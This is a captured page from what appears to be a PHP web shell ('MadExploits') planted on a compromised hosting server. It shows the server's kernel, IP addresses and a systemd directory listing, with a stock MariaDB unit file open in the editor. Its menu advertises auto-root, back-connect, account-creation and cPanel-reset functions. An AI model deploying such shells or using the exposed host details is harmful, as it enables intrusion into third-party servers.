Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
systemd /
system /
[ HOME SHELL ]
Name
Size
Permission
Action
basic.target.wants
[ DIR ]
drwxr-xr-x
dbus.target.wants
[ DIR ]
drwxr-xr-x
default.target.wants
[ DIR ]
drwxr-xr-x
graphical.target.wants
[ DIR ]
drwxr-xr-x
halt.target.wants
[ DIR ]
drwxr-xr-x
initrd-switch-root.target.want...
[ DIR ]
drwxr-xr-x
initrd.target.wants
[ DIR ]
drwxr-xr-x
kexec.target.wants
[ DIR ]
drwxr-xr-x
local-fs.target.wants
[ DIR ]
drwxr-xr-x
mariadb@bootstrap.service.d
[ DIR ]
drwxr-xr-x
multi-user.target.wants
[ DIR ]
drwxr-xr-x
poweroff.target.wants
[ DIR ]
drwxr-xr-x
reboot.target.wants
[ DIR ]
drwxr-xr-x
rescue.target.wants
[ DIR ]
drwxr-xr-x
runlevel1.target.wants
[ DIR ]
drwxr-xr-x
runlevel2.target.wants
[ DIR ]
drwxr-xr-x
runlevel3.target.wants
[ DIR ]
drwxr-xr-x
runlevel4.target.wants
[ DIR ]
drwxr-xr-x
runlevel5.target.wants
[ DIR ]
drwxr-xr-x
shutdown.target.wants
[ DIR ]
drwxr-xr-x
sockets.target.wants
[ DIR ]
drwxr-xr-x
sysinit.target.wants
[ DIR ]
drwxr-xr-x
syslog.target.wants
[ DIR ]
drwxr-xr-x
timers.target.wants
[ DIR ]
drwxr-xr-x
-.slice
403
B
-rw-r--r--
NetworkManager-dispatcher.serv...
353
B
-rw-r--r--
NetworkManager-wait-online.ser...
303
B
-rw-r--r--
NetworkManager.service
1.41
KB
-rw-r--r--
amavisd.service
499
B
-rw-r--r--
arp-ethers.service
275
B
-rw-r--r--
atd.service
222
B
-rw-r--r--
auditd.service
1.35
KB
-rw-r--r--
autovt@.service
1.52
KB
-rw-r--r--
basic.target
517
B
-rw-r--r--
blk-availability.service
429
B
-r--r--r--
bluetooth.target
379
B
-rw-r--r--
brandbot.path
160
B
-rw-r--r--
brandbot.service
116
B
-rw-r--r--
cbpolicyd.service
308
B
-rw-r--r--
chrony-dnssrv@.service
209
B
-rw-r--r--
chrony-dnssrv@.timer
138
B
-rw-r--r--
chrony-wait.service
472
B
-rw-r--r--
chronyd.service
495
B
-rw-r--r--
clamav-clamonacc.service
519
B
-rw-r--r--
clamav-freshclam.service
389
B
-rw-r--r--
clamd.service
419
B
-rw-r--r--
clamonacc.service
519
B
-rw-r--r--
console-getty.service
787
B
-rw-r--r--
console-shell.service
749
B
-rw-r--r--
container-getty@.service
808
B
-rw-r--r--
cpupower.service
294
B
-rw-r--r--
crond.service
318
B
-rw-r--r--
cryptsetup-pre.target
425
B
-rw-r--r--
cryptsetup.target
372
B
-rw-r--r--
csf.service
270
B
-rw-r--r--
ctrl-alt-del.target
543
B
-rw-r--r--
cwp-phpfpm.service
394
B
-rw-r--r--
cwpsrv-phpfpm.service
396
B
-rw-r--r--
cwpsrv.service
381
B
-rw-r--r--
dbus-org.freedesktop.hostname1...
714
B
-rw-r--r--
dbus-org.freedesktop.import1.s...
693
B
-rw-r--r--
dbus-org.freedesktop.locale1.s...
695
B
-rw-r--r--
dbus-org.freedesktop.login1.se...
1.1
KB
-rw-r--r--
dbus-org.freedesktop.machine1....
819
B
-rw-r--r--
dbus-org.freedesktop.timedate1...
659
B
-rw-r--r--
dbus.service
366
B
-rw-r--r--
dbus.socket
102
B
-rw-r--r--
debug-shell.service
1014
B
-rw-r--r--
default.target
558
B
-rw-r--r--
dev-hugepages.mount
670
B
-rw-r--r--
dev-mqueue.mount
590
B
-rw-r--r--
dovecot.service
1014
B
-rw-r--r--
dovecot.socket
294
B
-rw-r--r--
dracut-cmdline.service
1.13
KB
-rw-r--r--
dracut-initqueue.service
1.37
KB
-rw-r--r--
dracut-mount.service
1
KB
-rw-r--r--
dracut-pre-mount.service
1.03
KB
-rw-r--r--
dracut-pre-pivot.service
1.03
KB
-rw-r--r--
dracut-pre-trigger.service
1.14
KB
-rw-r--r--
dracut-pre-udev.service
1.17
KB
-rw-r--r--
dracut-shutdown.service
677
B
-rw-r--r--
ebtables.service
208
B
-rw-r--r--
emergency.service
976
B
-rw-r--r--
emergency.target
431
B
-rw-r--r--
final.target
440
B
-rw-r--r--
firewalld.service
657
B
-rw-r--r--
fstrim.service
95
B
-rw-r--r--
fstrim.timer
174
B
-rw-r--r--
garb.service
478
B
-rw-r--r--
getty-pre.target
466
B
-rw-r--r--
getty.target
460
B
-rw-r--r--
getty@.service
1.52
KB
-rw-r--r--
graphical.target
558
B
-rw-r--r--
halt-local.service
565
B
-rw-r--r--
halt.target
487
B
-rw-r--r--
hibernate.target
447
B
-rw-r--r--
httpd.service
293
B
-rw-r--r--
hybrid-sleep.target
468
B
-rw-r--r--
initrd-cleanup.service
634
B
-rw-r--r--
initrd-fs.target
553
B
-rw-r--r--
initrd-parse-etc.service
802
B
-rw-r--r--
initrd-root-fs.target
526
B
-rw-r--r--
initrd-switch-root.service
630
B
-rw-r--r--
initrd-switch-root.target
737
B
-rw-r--r--
initrd-udevadm-cleanup-db.serv...
668
B
-rw-r--r--
initrd.target
671
B
-rw-r--r--
iprdump.service
184
B
-rw-r--r--
iprinit.service
143
B
-rw-r--r--
iprupdate.service
147
B
-rw-r--r--
iprutils.target
173
B
-rw-r--r--
irqbalance.service
209
B
-rw-r--r--
kdump.service
349
B
-rw-r--r--
kexec.target
501
B
-rw-r--r--
kmod-static-nodes.service
679
B
-rw-r--r--
lfd.service
226
B
-rw-r--r--
local-fs-pre.target
395
B
-rw-r--r--
local-fs.target
507
B
-rw-r--r--
machine.slice
405
B
-rw-r--r--
machines.target
531
B
-rw-r--r--
maldet.service
362
B
-rw-r--r--
mariadb.service
5.88
KB
-rw-r--r--
mariadb@.service
9.91
KB
-rw-r--r--
memcached.service
257
B
-rw-r--r--
messagebus.service
366
B
-rw-r--r--
microcode.service
284
B
-rw-r--r--
multi-user.target
492
B
-rw-r--r--
named-setup-rndc.service
121
B
-rw-r--r--
named.service
824
B
-rw-r--r--
network-online.target
464
B
-rw-r--r--
network-pre.target
461
B
-rw-r--r--
network.target
480
B
-rw-r--r--
nfs-rquotad.service
324
B
-rw-r--r--
nginx-debug.service
475
B
-rw-r--r--
nginx.service
498
B
-rw-r--r--
nss-lookup.target
514
B
-rw-r--r--
nss-user-lookup.target
473
B
-rw-r--r--
opendkim.service
838
B
-rw-r--r--
paths.target
354
B
-rw-r--r--
php-fpm56.service
348
B
-rw-r--r--
php-fpm70.service
334
B
-rw-r--r--
php-fpm71.service
535
B
-rw-r--r--
php-fpm72.service
535
B
-rw-r--r--
php-fpm73.service
535
B
-rw-r--r--
php-fpm74.service
2.51
KB
-rw-r--r--
php-fpm80.service
2.51
KB
-rw-r--r--
php-fpm81.service
2.51
KB
-rw-r--r--
plymouth-halt.service
381
B
-rw-r--r--
plymouth-kexec.service
396
B
-rw-r--r--
plymouth-poweroff.service
393
B
-rw-r--r--
plymouth-quit-wait.service
243
B
-rw-r--r--
plymouth-quit.service
235
B
-rw-r--r--
plymouth-read-write.service
282
B
-rw-r--r--
plymouth-reboot.service
386
B
-rw-r--r--
plymouth-start.service
546
B
-rw-r--r--
plymouth-switch-root.service
295
B
-rw-r--r--
polkit.service
172
B
-rw-r--r--
portreserve.service
284
B
-rw-r--r--
postfix.service
463
B
-rw-r--r--
poweroff.target
552
B
-rw-r--r--
printer.target
377
B
-rw-r--r--
proc-sys-fs-binfmt_misc.automo...
705
B
-rw-r--r--
proc-sys-fs-binfmt_misc.mount
615
B
-rw-r--r--
pure-ftpd.service
246
B
-rw-r--r--
qemu-guest-agent.service
523
B
-rw-r--r--
quotaon.service
644
B
-rw-r--r--
rc-local.service
632
B
-rw-r--r--
rdisc.service
243
B
-rw-r--r--
reboot.target
543
B
-rw-r--r--
redis-sentinel.service
386
B
-rw-r--r--
redis.service
393
B
-rw-r--r--
remote-cryptsetup.target
509
B
-rw-r--r--
remote-fs-pre.target
396
B
-rw-r--r--
remote-fs.target
482
B
-rw-r--r--
rescue.service
976
B
-rw-r--r--
rescue.target
486
B
-rw-r--r--
rhel-autorelabel-mark.service
410
B
-rw-r--r--
rhel-autorelabel.service
459
B
-rw-r--r--
rhel-configure.service
408
B
-rw-r--r--
rhel-dmesg.service
217
B
-rw-r--r--
rhel-domainname.service
331
B
-rw-r--r--
rhel-import-state.service
450
B
-rw-r--r--
rhel-loadmodules.service
437
B
-rw-r--r--
rhel-readonly.service
401
B
-rw-r--r--
rpc-rquotad.service
324
B
-rw-r--r--
rpcbind.service
385
B
-rw-r--r--
rpcbind.socket
132
B
-rw-r--r--
rpcbind.target
500
B
-rw-r--r--
rsyncd.service
237
B
-rw-r--r--
rsyncd.socket
138
B
-rw-r--r--
rsyncd@.service
220
B
-rw-r--r--
rsyslog.service
465
B
-rw-r--r--
runlevel0.target
552
B
-rw-r--r--
runlevel1.target
486
B
-rw-r--r--
runlevel2.target
492
B
-rw-r--r--
runlevel3.target
492
B
-rw-r--r--
runlevel4.target
492
B
-rw-r--r--
runlevel5.target
558
B
-rw-r--r--
runlevel6.target
543
B
-rw-r--r--
saslauthd.service
295
B
-rw-r--r--
selinux-policy-migrate-local-c...
527
B
-rw-r--r--
serial-getty@.service
1.03
KB
-rw-r--r--
shutdown.target
402
B
-rw-r--r--
sigpwr.target
362
B
-rw-r--r--
sleep.target
420
B
-rw-r--r--
slices.target
409
B
-rw-r--r--
smartcard.target
380
B
-rw-r--r--
snmpd.service
313
B
-rw-r--r--
snmptrapd.service
323
B
-rw-r--r--
sockets.target
356
B
-rw-r--r--
sound.target
380
B
-rw-r--r--
spamassassin.service
372
B
-rw-r--r--
sshd-keygen.service
313
B
-rw-r--r--
sshd.service
373
B
-rw-r--r--
sshd.socket
181
B
-rw-r--r--
sshd@.service
260
B
-rw-r--r--
suspend.target
441
B
-rw-r--r--
svnserve.service
267
B
-rw-r--r--
swap.target
353
B
-rw-r--r--
sys-fs-fuse-connections.mount
681
B
-rw-r--r--
sys-kernel-config.mount
719
B
-rw-r--r--
sys-kernel-debug.mount
662
B
-rw-r--r--
sysinit.target
518
B
-rw-r--r--
syslog.socket
1.21
KB
-rw-r--r--
sysstat.service
421
B
-rw-r--r--
system-update.target
652
B
-rw-r--r--
system.slice
433
B
-rw-r--r--
systemd-ask-password-console.p...
646
B
-rw-r--r--
systemd-ask-password-console.s...
657
B
-rw-r--r--
systemd-ask-password-plymouth....
419
B
-rw-r--r--
systemd-ask-password-plymouth....
400
B
-rw-r--r--
systemd-ask-password-wall.path
574
B
-rw-r--r--
systemd-ask-password-wall.serv...
689
B
-rw-r--r--
systemd-backlight@.service
799
B
-rw-r--r--
systemd-binfmt.service
1
KB
-rw-r--r--
systemd-bootchart.service
654
B
-rw-r--r--
systemd-firstboot.service
826
B
-rw-r--r--
systemd-fsck-root.service
682
B
-rw-r--r--
systemd-fsck@.service
702
B
-rw-r--r--
systemd-halt.service
548
B
-rw-r--r--
systemd-hibernate-resume@.serv...
635
B
-rw-r--r--
systemd-hibernate.service
505
B
-rw-r--r--
systemd-hostnamed.service
714
B
-rw-r--r--
systemd-hwdb-update.service
838
B
-rw-r--r--
systemd-hybrid-sleep.service
523
B
-rw-r--r--
systemd-importd.service
693
B
-rw-r--r--
systemd-initctl.service
484
B
-rw-r--r--
systemd-initctl.socket
524
B
-rw-r--r--
systemd-journal-catalog-update...
738
B
-rw-r--r--
systemd-journal-flush.service
735
B
-rw-r--r--
systemd-journald.service
1.13
KB
-rw-r--r--
systemd-journald.socket
833
B
-rw-r--r--
systemd-kexec.service
561
B
-rw-r--r--
systemd-localed.service
695
B
-rw-r--r--
systemd-logind.service
1.1
KB
-rw-r--r--
systemd-machine-id-commit.serv...
682
B
-rw-r--r--
systemd-machined.service
819
B
-rw-r--r--
systemd-modules-load.service
1
KB
-rw-r--r--
systemd-nspawn@.service
676
B
-rw-r--r--
systemd-poweroff.service
557
B
-rw-r--r--
systemd-quotacheck.service
690
B
-rw-r--r--
systemd-random-seed.service
777
B
-rw-r--r--
systemd-readahead-collect.serv...
845
B
-rw-r--r--
systemd-readahead-done.service
642
B
-rw-r--r--
systemd-readahead-done.timer
635
B
-rw-r--r--
systemd-readahead-drop.service
555
B
-rw-r--r--
systemd-readahead-replay.servi...
757
B
-rw-r--r--
systemd-reboot.service
552
B
-rw-r--r--
systemd-remount-fs.service
828
B
-rw-r--r--
systemd-rfkill@.service
813
B
-rw-r--r--
systemd-shutdownd.service
479
B
-rw-r--r--
systemd-shutdownd.socket
528
B
-rw-r--r--
systemd-suspend.service
501
B
-rw-r--r--
systemd-sysctl.service
711
B
-rw-r--r--
systemd-timedated.service
659
B
-rw-r--r--
systemd-tmpfiles-clean.service
669
B
-rw-r--r--
systemd-tmpfiles-clean.timer
450
B
-rw-r--r--
systemd-tmpfiles-setup-dev.ser...
774
B
-rw-r--r--
systemd-tmpfiles-setup.service
754
B
-rw-r--r--
systemd-udev-settle.service
827
B
-rw-r--r--
systemd-udev-trigger.service
751
B
-rw-r--r--
systemd-udevd-control.socket
595
B
-rw-r--r--
systemd-udevd-kernel.socket
570
B
-rw-r--r--
systemd-udevd.service
812
B
-rw-r--r--
systemd-update-done.service
701
B
-rw-r--r--
systemd-update-utmp-runlevel.s...
761
B
-rw-r--r--
systemd-update-utmp.service
829
B
-rw-r--r--
systemd-user-sessions.service
581
B
-rw-r--r--
systemd-vconsole-setup.service
716
B
-rw-r--r--
tcsd.service
148
B
-rw-r--r--
teamd@.service
244
B
-rw-r--r--
time-sync.target
395
B
-rw-r--r--
timers.target
405
B
-rw-r--r--
tmp.mount
703
B
-rw-r--r--
tuned.service
376
B
-rw-r--r--
umount.target
417
B
-rw-r--r--
user.slice
392
B
-rw-r--r--
varnish.service
1.1
KB
-rw-r--r--
varnishncsa.service
398
B
-rw-r--r--
wpa_supplicant.service
365
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mariadb@.service
# Multi instance version of MariaDB # # Use this if you run multiple instances of MariaDB on a single server. # # This systemd service is not suitable for Galera as specialised SST recovery # scripts are needed. # # # It's not recommended to modify this file in-place, because it will be # overwritten during package upgrades. If you want to customize, the # best way is to create a file "/etc/systemd/system/mariadb@.service", # containing # .include /usr/lib/systemd/system/mariadb@.service # ...make your changes here... # or create a file "/etc/systemd/system/mariadb@.service.d/foo.conf", # which doesn't need to include ".include" call and which will be parsed # after the file mariadb@.service itself is parsed. # # For more info about custom unit files, see systemd.unit(5) or # https://mariadb.com/kb/en/mariadb/systemd/ # # Copyright notice: # # This file is free software; you can redistribute it and/or modify it # under the terms of the GNU Lesser General Public License as published by # the Free Software Foundation; either version 2.1 of the License, or # (at your option) any later version. # # # MULTI INSTANCES # # When multiple instances of MariaDB are running on a server they need to # ensure that they don't conflict with each other. This includes elements # like network ports, sockets and data directories listed under CONFLICTING # VARIABLES below. The systemd environment variable MYSQLD_MULTI_INSTANCE # controls each instance to ensure it is run independently. It is passed to # mysqld and mysql_install # # By default, a group suffix exists and within the default configuration # files, a group [mysqld.{instancename}] is read for each service. Other # default groups, like [server.{instancename}] and [mariadb.{instancename}], # are also read. For each instance, one of the groups will need to contain # the conflicting variables listed below under CONFLICTING VARIABLES. # # The MYSQLD_MULTI_INSTANCE environment used is: # Environment='MYSQLD_MULTI_INSTANCE=--defaults-group-suffix=.%I --basedir=/usr' # # # APPLYING YOUR MULTI INSTANCE MECHANISM # # To apply one of the non-default multi-instance mechanisms, create a file # "/etc/systemd/system/mariadb@.service.d/multi.conf" containing: # # [Service] # Environment=MYSQLD_MULTI_INSTANCE="...." # # Include any other settings you which to override. Directives like Exec* are # lists and adding a directive will append to the list. You can clear the list # by starting with "Directive=" and no value. Follow this by the list that you # do want. See the systemd.unit(5) manual page for more information. # # Then run "systemctl daemon-reload". # # # EXAMPLE MYSQLD_MULTI_INSTANCE CONFIGURATIONS # # Configuration File Based Mechanism: # # This has a configuration file per instance. # # [Unit] # ConditionPathExists=/etc/my.%I.cnf # # [Service] # Environment=MYSQLD_MULTI_INSTANCE=--defaults-file=/etc/my.%I.cnf # # Here you need to create a configuration file /etc/my.%I.cnf for each # instance, each containing the conflicting variables to separate instances. # # # Multi User Based Mechanism: # # Here each user (the instance name) has their own mysql instance. # # Create instances in users home directory with abstract socket: # # [Service] # User=%I # ProtectHome=false # ExecStartPre= # ExecStartPre=/usr/bin/mysql_install_db $MYSQLD_MULTI_INSTANCE \ # --auth-root-authentication-method=socket --auth-root-socket-user=%I # Environment=MYSQLD_MULTI_INSTANCE="--defaults-file=/home/%I/my%I.cnf \ # --datadir=/home/%I/mysqldatadir --skip-networking --socket=@mysql-%I" # # # Command Line Mechanism: # # This is a good way run multiple instance where there is little difference # in configuration between instances. # # [Service] # Environment=MYSQLD_MULTI_INSTANCE="--socket=/var/run/mysqld/%I.sock \ # --datadir=/var/lib/mysqld-multi/%I \ # --skip-networking" # # # CONFLICTING VARIABLES # # A number of MariaDB system variables may conflict. The main ones that need to # be set because their default values will conflict are: # * socket # * port # * datadir # # # PRE-10.4 # # Before 10.4 MYSQLD_MULTI_INSTANCE was effectively --defaults-file=/etc/my.cnf.d/my%I.cnf # As /etc/my.cnf included these files it was a bad choice as an # existing single instance would include all these files. If you want to # continue a file based multi-instance mysqld, recommend the Configuration File # Based Mechanism above and moving /etc/my.cnf.d/my%I.cnf files to /etc/my%I.cnf. # # # SELINUX # # As basic selinux rules are written around a single instance of MariaDB you may need # to define labels for the files and network ports of all instances. # # See: https://mariadb.com/kb/en/library/what-to-do-if-mariadb-doesnt-start/#selinux # # # STARTING # # Start the instance: systemctl start mariadb@{instancename}.service # # # DOCUMENTATION: # # Read https://mariadb.com/kb/en/mariadb/systemd/ regarding customisation. # # Also see systemd man pages: systemd.unit(5), systemd.exec(5) and # systemd.service(5) [Unit] Description=MariaDB 10.4.33 database server (multi-instance %I) Documentation=man:mysqld(8) Documentation=https://mariadb.com/kb/en/library/systemd/ After=network.target # Negated condition here is because 10.3 and before had /etc/my.cnf.d/my%I.cnf # as the configuration difference for multiple instances. This condition here # to prevent an accidental change during an upgrade in the case the user # created these file(s). # ## See Environment=MYSQLD_MULTI_INSTANCE below for current recommended options. ConditionPathExists=!/etc/my.cnf.d/my%I.cnf [Install] WantedBy=multi-user.target [Service] ############################################################################## ## Core requirements ## Type=notify # Setting this to true can break replication and the Type=notify settings # See also bind-address mysqld option. PrivateNetwork=false ############################################################################## ## Package maintainers ## # CAP_IPC_LOCK To allow memlock to be used as non-root user # CAP_DAC_OVERRIDE To allow auth_pam_tool (which is SUID root) to read /etc/shadow when it's chmod 0 # does nothing for non-root, not needed if /etc/shadow is u+r # CAP_AUDIT_WRITE auth_pam_tool needs it on Debian for whatever reason CapabilityBoundingSet=CAP_IPC_LOCK CAP_DAC_OVERRIDE CAP_AUDIT_WRITE # PrivateDevices=true implies NoNewPrivileges=true and # SUID auth_pam_tool suddenly doesn't do setuid anymore PrivateDevices=false # Prevent writes to /usr, /boot, and /etc ProtectSystem=full # Requires kernel 4.14 or later and SELinux transition rule for mysqld_t # (https://github.com/systemd/systemd/issues/3845) # NoNewPrivileges=true # Prevent accessing /home, /root and /run/user ProtectHome=true # Needed to create system tables etc. ExecStartPre=/usr/bin/mysql_install_db $MYSQLD_MULTI_INSTANCE # Start main service # A few variables are here: # * MYSQLD_MULTI_INSTANCE - control how multiple instances are distinguisable # * MYSQLD_OPTS - user definable extras - not a replacement for my.cnf # # Note 1: Place $MYSQLD_OPTS at the very end for its options to take precedence. ExecStart=/usr/sbin/mysqld $MYSQLD_MULTI_INSTANCE $MYSQLD_OPTS KillSignal=SIGTERM # Don't want to see an automated SIGKILL ever SendSIGKILL=no # Restart crashed server only, on-failure would also restart, for example, when # my.cnf contains unknown option Restart=on-abort RestartSec=5s UMask=007 ############################################################################## ## USERs can override ## ## ## by creating a file in /etc/systemd/system/mariadb.service.d/MY_SPECIAL.conf ## and adding/setting the following below [Service] will override this file's ## settings. # Useful options not previously available in [mysqld_safe] # Kernels like killing mysqld when out of memory because its big. # Lets temper that preference a little. # OOMScoreAdjust=-600 # Explicitly start with high IO priority # BlockIOWeight=1000 # If you don't use the /tmp directory for SELECT ... OUTFILE and # LOAD DATA INFILE you can enable PrivateTmp=true for a little more security. PrivateTmp=false # Set an explicit Start and Stop timeout of 900 seconds (15 minutes!) # this is the same value as used in SysV init scripts in the past # if you need a longer timeout, check the KB: # https://mariadb.com/kb/en/library/systemd/#configuring-the-systemd-service-timeout TimeoutStartSec=900 TimeoutStopSec=900 # Set the maximium number of tasks (threads) to 99% of what the system can # handle as set by the kernel, reserve the 1% for a remote ssh connection, # some monitoring, or that backup cron job. Without the directive this would # be 15% (see DefaultTasksMax in systemd man pages). TasksMax=99% # Controlling how multiple instances are separated. See top of this file. # Note: This service isn't User=mysql by default so we need to be explicit. # It is as an option here as a user may want to use the MYSQLD_MULTI_INSTANCE # to run multiple versions. Environment='MYSQLD_MULTI_INSTANCE=--defaults-group-suffix=.%I' # While you can override these, you shouldn't leave them empty as that # will default to root. User=mysql Group=mysql ## ## Options previously available to be set via [mysqld_safe] ## that now needs to be set by systemd config files as mysqld_safe ## isn't executed. ## # Number of files limit. previously [mysqld_safe] open-files-limit LimitNOFILE=32768 # Maximium core size. previously [mysqld_safe] core-file-size # LimitCore= # Nice priority. previously [mysqld_safe] nice # Nice=-5 # Timezone. previously [mysqld_safe] timezone # Environment="TZ=UTC" # Library substitutions. previously [mysqld_safe] malloc-lib with explicit paths # (in LD_LIBRARY_PATH) and library name (in LD_PRELOAD). # Environment="LD_LIBRARY_PATH=/path1 /path2" "LD_PRELOAD= # Flush caches. previously [mysqld_safe] flush-caches=1 # ExecStartPre=sync # ExecStartPre=sysctl -q -w vm.drop_caches=3 # numa-interleave=1 equalivant # Change ExecStart=numactl --interleave=all /usr/sbin/mysqld...... # crash-script equalivent # FailureAction=
Close